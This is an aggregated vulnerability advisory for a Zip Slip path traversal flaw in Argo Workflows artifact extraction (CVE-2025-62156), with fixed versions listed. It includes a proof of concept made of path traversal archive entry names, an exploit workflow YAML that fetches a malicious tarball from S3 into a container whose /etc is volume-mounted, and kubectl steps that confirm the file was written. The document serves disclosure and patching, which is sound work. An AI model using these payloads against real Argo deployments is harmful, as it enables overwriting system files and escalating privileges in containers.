argo-workflows Zip Slip path traversal allows arbitrary file write and container configuration overwrite

Open Source Vulnerabilities GHSA-p84v-gxvw-73pf

### **Vulnerability Description** #### Vulnerability Overview 1. During the artifact extraction process, the `unpack()` function extracts the compressed file to a temporary directory (`/etc.tmpdir`) and then attempts to move its contents to `/etc` using the `rename()` system call, 2. However, since `/etc` is an already existing system directory, the `rename()` system call fails, making normal archive extraction impossible. 3. At this point, if a malicious user sets the entry name inside the `tar.gz` file to a path traversal like `../../../../../etc/zipslip-poc`, 4. The `untar()` function combines paths using `filepath.Join(dest, filepath.Clean(header.Name))` without path validation, resulting in `target = "/work/input/../../../../../etc/zipslip-poc"`, 5. Ultimately, the `/etc/zipslip-poc` file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories. #### untar(): Writing Files Outside the Extraction Directory https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993 1. **Base Path**: `/work/tmp` (dest) — The intended extraction directory in the wait container 2. **Malicious Entry**: `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` (`header.Name`) — Path traversal payload 3. **Path Cleaning**: `filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt` — Go’s path cleaning normalizes the traversal 4. **Path Joining**: `filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt` — Absolute path overrides base directory 5. **File Creation**: `/mainctrfs/etc/zipslip-ok.txt` file is created in the wait container 6. **Volume Mirroring**: The file appears as `/etc/zipslip-ok.txt` in the main container due to volume mount mirroring ### PoC #### PoC Description 1. The user uploaded a malicious `tar.gz` file to S3 that contains path traversal entries like `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` designed to exploit the vulnerability. 2. In the Argo Workflows YAML, the artifact’s path is set to `/work/tmp`, which should normally extract the archive to that intended directory. 3. However, due to the vulnerability in the `untar()` function, `filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt")` resolves to `/mainctrfs/etc/zipslip-ok.txt`, causing files to be created in unintended locations. 4. Since the wait container’s `/mainctrfs/etc` and the main container’s `/etc` share the same volume, files created in the wait container become visible in the main container’s `/etc/` directory. 5. Consequently, the archive that should extract to `/work/tmp` exploits the Zip Slip vulnerability to create files in the `/etc/` directory, enabling manipulation of system configuration files. #### exploit yaml ```yaml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: zipslip- spec: entrypoint: main templates: - name: main container: image: ubuntu:22.04 command: ["sh"] args: ["-c", "echo 'Starting container'; sleep 3000"] volumeMounts: - name: etcvol mountPath: /etc inputs: artifacts: - name: evil path: /work/tmp archive: tar: {} http: url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz" volumes: - name: etcvol emptyDir: {} ``` #### exploit 1. Create Zipslip <img width="1300" height="102" alt="image (4)" src="https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2" /> 2. Upload S3 <img width="1634" height="309" alt="image (5)" src="https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4" /> 3. Create Workflow <img width="1875" height="865" alt="image (1) (1)" src="https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f" /> 4. Run <img width="1799" height="862" alt="image (2)" src="https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f" /> 5. Exploit Success <img width="1363" height="440" alt="image (3)" src="https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f" /> ```bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD" # Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash # Exploit cd /etc/ ls -l cat zipslip-ok.txt ``` ### Impact #### Container Isolation Bypass The Zip Slip vulnerability allows attackers to write files to system directories like `/etc/` within the container, potentially overwriting critical configuration files such as `/etc/passwd`, `/etc/hosts`, or `/etc/crontab`, which could lead to privilege escalation or persistent access within the compromised container.

Open Source Vulnerabilities GO-2025-4023

Argo Workflow has a Zipslip Vulnerability in github.com/argoproj/argo-workflows

Open Source Vulnerabilities BIT-argo-workflows-2025-62156

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 contain a Zip Slip path traversal vulnerability in artifact extraction. During artifact extraction the unpack/untar logic (workflow/executor/executor.go) uses filepath.Join(dest, filepath.Clean(header.Name)) without validating that header.Name stays within the intended extraction directory. A malicious archive entry can supply a traversal or absolute path that, after cleaning, overrides the destination directory and causes files to be written outside the /work/tmp extraction path and into system directories such as /etc inside the container. The vulnerability enables arbitrary file creation or overwrite in system configuration locations (for example /etc/passwd, /etc/hosts, /etc/crontab), which can lead to privilege escalation or persistence within the affected container. Update to 3.6.12 or 3.7.3 to remediate the issue.

Open Source Vulnerabilities CVE-2025-62156

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 contain a Zip Slip path traversal vulnerability in artifact extraction. During artifact extraction the unpack/untar logic (workflow/executor/executor.go) uses filepath.Join(dest, filepath.Clean(header.Name)) without validating that header.Name stays within the intended extraction directory. A malicious archive entry can supply a traversal or absolute path that, after cleaning, overrides the destination directory and causes files to be written outside the /work/tmp extraction path and into system directories such as /etc inside the container. The vulnerability enables arbitrary file creation or overwrite in system configuration locations (for example /etc/passwd, /etc/hosts, /etc/crontab), which can lead to privilege escalation or persistence within the affected container. Update to 3.6.12 or 3.7.3 to remediate the issue.